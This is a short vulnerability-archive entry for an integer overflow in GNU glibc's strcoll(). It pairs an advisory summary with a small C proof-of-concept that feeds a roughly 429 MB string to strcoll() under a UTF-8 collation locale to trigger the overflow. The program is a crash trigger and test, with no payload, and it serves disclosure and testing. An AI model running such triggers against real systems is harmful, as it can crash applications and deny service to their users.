GNU glibc – ‘strcoll()’ Routine Integer Overflow
// source: https://www.securityfocus.com/bid/55462/info GNU glibc is prone to a remote integer-overflow vulnerability which leads to buffer overflow vulnerability. Successful exploits may allow an attacker to execute arbitrary code in the context of a user running an application that uses the affected library. Failed exploit attempts may crash the application, denying service to legitimate users. #include <locale.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #define SIZE 429496730 int main (void) { char *p = malloc (1 + SIZE); if (setlocale (LC_COLLATE, "en_GB.UTF-8") == NULL) { puts ("setlocale failed, cannot test for overflow"); return 0; } if (p == NULL) { puts ("malloc failed, cannot test for overflow"); return 0; } memset (p, 'x', SIZE); p[SIZE] = 0; printf ("%d\n", strcoll (p, p)); return 0; } |